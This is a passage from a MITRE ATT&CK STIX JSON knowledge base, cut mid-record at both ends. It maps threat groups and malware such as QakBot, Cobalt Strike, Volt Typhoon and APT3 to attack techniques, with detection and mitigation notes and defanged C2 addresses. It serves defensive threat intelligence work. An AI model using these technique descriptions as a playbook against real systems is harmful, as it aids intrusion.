APT19)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--121a09bd-f603-4476-a149-a3cba52f268c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-16T17:46:07.794Z","description":"[Rover](https://attack.mitre.org/software/S0090) automatically collects files from the local system and removable drives based on a predefined list of file extensions on a regular timeframe.(Citation: Palo Alto Rover)","relationship_type":"uses","source_ref":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--121b0bdb-3784-4da2-9842-2a02f8afc7e4","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--121c5fd3-dc71-4f45-b6dc-4b20a0bde300","type":"relationship","created":"2020-02-21T20:56:06.727Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T20:56:06.727Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--121d2e76-5ba1-475d-9cf9-1046724abae1","created":"2019-01-30T15:39:45.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.855Z","description":"[CALENDAR](https://attack.mitre.org/software/S0025) has a command to run cmd.exe to execute commands.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--5a84dc36-df0d-4053-9b7c-f0c388a57283","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--122d4f4e-7868-44f3-b838-abe6df94e5e8","created":"2022-03-30T14:26:51.860Z","x_mitre_version":"0.1","external_references":[{"source_name":"SensePost NotRuler","url":"https://github.com/sensepost/notruler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":" Monitor for third-party application logging, messaging, and/or other artifacts that may abuse Microsoft Outlook forms to obtain persistence on a compromised system. SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)","modified":"2022-04-20T12:38:18.226Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--122e6f20-ab3b-4bf0-bef1-0372399bee7c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-21T00:07:40.731Z","description":"[NETEAGLE](https://attack.mitre.org/software/S0034) will decrypt resources it downloads with HTTP requests by using RC4 with the key \"ScoutEagle.\"(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1232c797-ebf4-4036-9ebb-a65fbe8b1443","type":"relationship","created":"2020-05-18T21:01:51.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.527Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) used the ps command to monitor the running processes on the system.(Citation: ESET LoudMiner June 2019)\t","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12362fa5-736b-4cac-9d74-51cd559f1e7c","created":"2021-09-28T20:13:25.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Qakbot October 2020","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"},{"source_name":"ATT QakBot April 2021","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T18:07:40.378Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use cmd.exe to launch itself and to execute multiple C2 commands.(Citation: Crowdstrike Qakbot October 2020)(Citation: ATT QakBot April 2021)(Citation: Kaspersky QakBot September 2021)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1238411a-1012-470d-af86-8bad2e3e709c","created":"2024-05-25T16:15:42.454Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:15:42.454Z","description":"[OutSteel](https://attack.mitre.org/software/S1017) is uniquely associated with [Saint Bear](https://attack.mitre.org/groups/G1031) as a post-exploitation document collection and exfiltration tool.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--123c8150-c814-4bf2-b06f-e005cb257e17","type":"relationship","created":"2020-10-20T17:59:20.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-22T16:35:54.003Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific protocols, such as TFTP, can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific technique used by a particular adversary or tool, and will likely be different across various network configurations. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1242a136-1b26-43e4-b0af-2bdbc5edfb58","created":"2022-09-28T14:25:39.232Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T14:25:39.232Z","description":"Monitor for suspicious modification of files associated with hybrid identity authentication processes, such as configuration files. Monitor for access to certificates and cryptographic keys material.","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12455fe5-42dd-420e-839e-8a96886488f7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/bb490716.aspx","description":"Microsoft. (n.d.). Net time. Retrieved November 25, 2016.","source_name":"TechNet Net Time"}],"modified":"2020-03-19T13:14:50.662Z","description":"The net time command can be used in [Net](https://attack.mitre.org/software/S0039) to determine the local or remote system time.(Citation: TechNet Net Time)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1248ffe0-ad3b-43a6-a358-763d8eab7fba","type":"relationship","created":"2020-07-27T17:47:33.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-27T17:47:33.949Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) has the ability to hide the console window for its document search module from the user.(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--124c87a2-d58e-4d46-910c-afa352d384c5","created":"2022-08-18T15:03:41.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T16:26:46.002Z","description":"(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--124e7a8b-5bc6-499d-8ca5-4c25b3ed8602","type":"relationship","created":"2020-03-13T20:36:57.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AWS - IAM Console Best Practices","url":"https://aws.amazon.com/blogs/security/newly-updated-features-in-the-aws-iam-console-help-you-adhere-to-iam-best-practices/","description":"Moncur, Rob. (2020, July 5). New Information in the AWS IAM Console Helps You Follow IAM Best Practices. Retrieved August 4, 2020."}],"modified":"2022-04-01T15:20:43.054Z","description":"Ensure that cloud accounts, particularly privileged accounts, have complex, unique passwords across all systems on the network. Passwords and access keys should be rotated regularly. This limits the amount of time credentials can be used to access resources if a credential is compromised without your knowledge. Cloud service providers may track access key age to help audit and identify keys that may need to be rotated.(Citation: AWS - IAM Console Best Practices)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1251d1e2-21d3-48f2-a869-44507b34943a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","source_name":"FireEye APT33 Sept 2017"}],"modified":"2019-05-14T19:15:24.370Z","description":"[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of downloading additional files.(Citation: FireEye APT33 Sept 2017)","relationship_type":"uses","source_ref":"malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1255a34c-e280-4b16-b606-7b03682cd76d","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM June 2017","description":"Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved February 19, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/?source=mmpc"}],"modified":"2019-05-10T12:14:32.122Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) has transferred files using the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel.(Citation: Microsoft PLATINUM June 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1258536b-6cf4-4cfe-98c7-e9c1d30c5a34","type":"relationship","created":"2017-05-31T21:33:27.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","source_name":"FireEye Operation Double Tap"}],"modified":"2019-04-29T18:01:20.482Z","description":"An [APT3](https://attack.mitre.org/groups/G0022) downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81.(Citation: FireEye Operation Double Tap)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--125d8dab-512b-445a-9f28-b2113c714b77","type":"relationship","created":"2020-08-24T13:40:23.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-09-29T19:01:24.946Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can attempt to gain administrative privileges using token impersonation.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1262d88d-0eb1-4d19-b84a-9793ef3e4d03","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"url":"https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China","description":"Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.","source_name":"CSM Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:28.676Z","description":"[Elderwood](https://attack.mitre.org/groups/G0066) has leveraged multiple types of spearphishing in order to attempt to get a user to open attachments.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1266285f-01b9-4682-85ae-bfa9750100c5","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for newly constructed files that may forge web cookies that can be used to gain access to web applications or Internet services.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--126bd2ee-5d66-4bdf-822a-3fa55dff1468","created":"2024-07-01T20:06:52.342Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:06:52.342Z","description":"Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--bbfbb096-6561-4d7d-aa2c-a5ee8e44c696","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--126ecc74-4376-4909-9f75-a0630e47cb68","type":"relationship","created":"2020-11-06T18:40:38.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.156Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use a number of known techniques to bypass Windows UAC.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--126f9334-8b0c-4948-a495-07e2b5a7744a","type":"relationship","created":"2020-02-05T20:11:13.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T20:11:13.145Z","relationship_type":"revoked-by","source_ref":"attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12798001-5af6-4b47-b17e-e98888c1482c","type":"relationship","created":"2020-11-06T18:40:38.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.213Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can determine the NetBios name and the IP addresses of targets machines including domain controllers.(Citation: Cyberreason Anchor December 2019)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1279ae2b-fb00-4980-a5cc-9a802ad2901d","type":"relationship","created":"2020-03-13T20:26:49.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-15T21:09:43.650Z","description":"Limit or restrict program execution using anti-virus software. On MacOS, allowlist programs that are allowed to have the plist tag. All other programs should be considered suspicious.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--127fc875-b87c-46eb-94d8-364486710ad4","created":"2024-05-21T18:08:04.292Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T18:08:04.292Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has moved laterally to the Domain Controller via RDP using a compromised account with domain administrator privileges.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1280542b-4574-4567-ad3d-76692271699e","type":"relationship","created":"2020-11-20T14:11:33.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike BloodHound April 2018","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}],"modified":"2020-11-20T14:11:33.188Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can collect information about domain groups and members.(Citation: CrowdStrike BloodHound April 